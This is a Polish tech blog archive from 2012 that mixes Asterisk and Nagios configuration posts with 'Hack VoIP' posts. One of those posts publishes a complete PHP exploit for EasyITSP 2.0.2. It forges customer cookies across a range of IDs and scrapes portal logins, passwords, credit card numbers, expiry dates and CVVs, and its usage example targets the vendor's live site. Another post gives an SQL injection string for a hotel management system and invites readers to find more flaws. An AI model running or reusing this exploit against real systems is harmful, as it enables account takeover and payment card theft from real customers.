niedziela, 28 października 2012

Hack VoIP #3 - PIAF H.M.S - SQL Injection

Kolejny system VoIP wzięty pod lupę i po 5 minutach kilka znalezionych błędów. Poniżej publikuję tylko jeden SQL Injection. Resztę znajdziecie sami :)


System ten można spotkać głównie w hotelach.

PIAF H.M.S
Hospitality Management System
Źródła: http://code.google.com/p/piafhms/


file: bills.php
line: 86-87


        $query = $query . " ORDER BY ID DESC";
        printf($query); 


query:
SELECT * FROM `Users` WHERE `Room` = 'anything' OR 'x'='x' ORDER BY ID DESC

piątek, 26 października 2012

Hack VoIP #2 - Exploit - EasyITSP by Lemens Telephone Systems 2.0.2

From EasyITSP website:
"The easiest ITSP and Hosted PBX software available. PERIOD! Lemens-TS has thousands of man hours in developing a solution with the smallest footprint possible. The goal was to keep things as simple as we could. Victory is ours."

:)

Exploit code:

<?php
error_reporting(0);
$arguments = getopt("a:b:c:");
$url = $arguments['a'];
$id_pod =$arguments['b'];
$id_end =$arguments['c'];
if(count($arguments)!=3)
{
echo '## Exploit - EasyITSP by Lemens Telephone Systems 2.0.2   '."\n";
echo '## Discovery users with passwords       '."\n";
echo '##         '."\n";
echo '## Author: Michal Blaszczak       '."\n";
echo '## Website: blaszczakm.blogspot.com            '."\n";
echo '## Date: 10.10.2012       '."\n";
echo '##         '."\n";
echo '## Greatz: cond, packet, jestemka1pi, sid, chez            '."\n";
echo '##         #pakamera@freenode     '."\n";
echo '##         (old) #2600@ircnet     '."\n";
echo '##         (old) #mamo_mamo_jestem_chakerem@ircnet '."\n";
echo '##         '."\n";
echo '## Usage:         '."\n";
echo '## php exploit.php -a URL -b ID_START -c ID_STOP      '."\n";
echo '##         '."\n";
echo '## Example:        '."\n";
echo '## php exploit.php -a http://lemens-ts.com/easyitsp/customer/ -b 5 -c 10'."\n";

exit;
}
$url2='customers_edit.php?currentpage=customers';
$url.=$url2;
for ($id_pod; $id_pod <= $id_end; $id_pod++) {
$cookie = 'cust_verify=' . urlencode('#pakamera') . '; cust_id=' . urlencode($id_pod);
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
curl_setopt($ch, CURLOPT_POST, 1);//przesylamy metodą post
curl_setopt($ch, CURLOPT_POSTFIELDS, "customersid=$id_pod"); //dane do wyslania
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$intro = curl_exec($ch);
curl_close($ch);

$regex_login = '#\<td title="Customer username for portal"\>(.+?)\<\/td\>#s';
preg_match($regex_login, $intro, $login);

$regex_pass = '#\<td title="Customer password for portal"><input type="password" name="password" required="1" maxlength="45" value="(.+?)"\>\<\/td\>#s';
preg_match($regex_pass, $intro, $pass);

$regex_ccnum = '#\<td title="Customer cc number"><input type="text" name="ccnumber" maxlength="20" value="(.+?)"\>\<\/td\>#s';
preg_match($regex_ccnum, $intro, $ccnum);

$regex_ccexpire = '#\<td title="Customer cc expire"><input type="text" name="ccexpire" maxlength="8" value="(.+?)"\>\<\/td\>#s';
preg_match($regex_ccexpire, $intro, $ccexpire);

$regex_cccvv = '#\<td title="Customer credit card CVV"><input type="text" name="cccvv" maxlength="6" value="(.+?)"\>\<\/td\>#s';
preg_match($regex_cccvv, $intro, $cccvv);


 $test = explode(" ",$login[1]);


 if(trim($test[0])!='</td>')
 {
 echo 'ID:'.$id_pod."\n";
 echo 'LOGIN:'.$login[1]."\n";
 echo 'Password:'.$pass[1]."\n";
 echo 'CCnumber:'.$ccnum[1]."\n";
 echo 'CCexpire:'.$ccexpire[1]."\n";
 echo 'CCCVV:'.$cccvv[1]."\n\n";
 }
}

?>


Source: http://pastebin.com/SmQVfBBD


czwartek, 25 października 2012

Powiadomienia w Nagios dla managera

Poniżej skrypt w PHP, pozwalający wysyłać powiadomienia dla menagerów z usług i hostów monitorowanych w Nagios, które nie zostały naprawione w zadanym czasie przez techników odpowiedzialnych za dane urządzenia.
3 pliczki  PHP, 4 wpisy do cron'a. Ciach bach i gotowe :)

Greetz dla Łukasza K. za pomysł ;)

Skrypty check_nagios_host.php i check_nagios_services.php mają za zadanie parsować  plik Nagiosa /usr/local/nagios/var/status.dat pod  kątem czasu ostatniego poprawnego działania hosta lub usługi.
last_time_up - dla hosta
last_time_ok - dla usługi

Jeśli host nie działa dłużej niż 40000 (timestamp) to skrypt, kieruję sprawę do zbiorczego maila i wysyła do managera.

Skrypt został zatwierdzony i dodany do katalogu Nagios Exchange
http://exchange.nagios.org/directory/Plugins/Notifications/notifications-for-manager/details

Link do źródeł http://sourceforge.net/projects/nagiosnotifi/

Poniżej źródła skryptów.

wtorek, 16 października 2012

Multi level IVR

Wielopoziomowe menu IVR w Asterisk




[macro-dzwon]
exten => s,1,Ringing
exten => s,n,Background(gsm/prompt 9.1)
exten => s,n,Set(DIRNAME=${STRFTIME(${EPOCH},,%Y%m/%d)}/${CALLERID(NUM)})
exten => s,n,Set(FILENAME=${DIRNAME}/${STRFTIME(${EPOCH},,%H%M%S)}-${EXTEN:2})
exten => s,n,System(/bin/mkdir -p /var/www/monitor/${DIRNAME})
exten => s,n,NoOp(${FILENAME})
exten => s,n,MixMonitor(/var/www/monitor/${FILENAME}.wav,b)
exten => s,n,Set(_doVoicemail=no)
exten => s,n,Queue(CallCenter,n) ;twh
exten => s,n,Hangup



[IVR]
exten => 48XXxxXXxxX,1,Answer
exten => 48XXxxXXxxX,2,Background(gsm/prompt 1.1)
exten => 48XXxxXXxxX,3,Background(gsm/prompt 1.2)
exten => 48XXxxXXxxX,4,Background(gsm/prompt 1.3)
exten => 48XXxxXXxxX,5,Set(TIMEOUT(digit)=20)
exten => 48XXxxXXxxX,6,Set(TIMEOUT(response)=25)
exten => 48XXxxXXxxX,7,WaitExten(5)

;1
exten => 1,1,Answer
exten => 1,n,GoTo(prompt2,200,1)

;2
exten => 2,1,Answer
exten => 2,n,GoTo(prompt3,300,1)

;3
exten => 3,1,Answer
exten => 3,n,GoTo(prompt4,400,1)

;4
exten => 4,1,Answer
exten => 4,n,GoTo(prompt5,500,1)

;5
exten => 5,1,Answer
exten => 5,n,GoTo(prompt6,600,1)

;6
exten => 6,1,Answer
exten => 6,n,GoTo(prompt7,700,1)

;7
exten => 7,1,Answer
exten => 7,n,GoTo(prompt8,800,1)


;Timeout
exten => t,1,Playback(1-4)
exten => t,2,Goto(IVR,48XXxxXXxxX,4)
exten => i,1,Goto(IVR,48XXxxXXxxX,2)

niedziela, 7 października 2012

Sprawdzanie aktywności na GoldenLine.pl

Ostatnio znajomy przestał odpisywać na moje wiadomości. Chciałem sprawdzić czy po prostu nie chce na nie odpisać czy nie korzysta z GoldenLine.pl i nie wie o wiadomościach, które do niego wysłałem.
Napisałem prosty skrypt w PHP, który pozwala sprawdzić aktywność danej osoby po publikowanym statusie offline/online.

Poniżej źródło skryptu PHP:

środa, 3 października 2012

Asterisk - dzwonienie z konsoli


Żeby zadzwonić prosto z CLI asterisk'a

originate SIP/793333333@trunk extension default@

gdzie:

793333333 - numer, na który dzwonimy
trunk - nazwa trunka jeśli dzwonimy na zewnątrz
default - context

Asterisk CallerID - kilka numerów na jednym trunku



Zawartość /etc/asterisk/extensions.conf

exten => _X.,1,GotoIf($["${CALLERID(num)}" = "101"]?dial101)
exten => _X.,n,GotoIf($["${CALLERID(num)}" = "102"]?dial102)
exten => _X.,n,GotoIf($["${CALLERID(num)}" = "103"]?dial103)
exten => _X.,n,GotoIf($["${CALLERID(num)}" = "104"]?dial104)
exten => _X.,n,GotoIf($["${CALLERID(num)}" = "105"]?dial105)
exten => _X.,n(dial101),Set(CALLERID(all)=48xXxXx50)
exten => _X.,n,Dial(SIP/trunk/${EXTEN},,r)
exten => _X.,n,Hangup()
exten => _X.,n(dial102),Set(CALLERID(all)=48xXxXx51)
exten => _X.,n,Dial(SIP/trunk/${EXTEN},,r)
exten => _X.,n,Hangup()
exten => _X.,n(dial103),Set(CALLERID(all)=48xXxXx53)
exten => _X.,n,Dial(SIP/trunk/${EXTEN},,r)
exten => _X.,n,Hangup()
exten => _X.,n(dial103),Set(CALLERID(all)=48xXxXx52)
exten => _X.,n,Dial(SIP/trunk/${EXTEN},,r)
exten => _X.,n,Hangup()
exten => _X.,n(dial105),Set(CALLERID(all)=48xXxXx54)
exten => _X.,n,Dial(SIP/trunk/${EXTEN},,r)
exten => _X.,n,Hangup()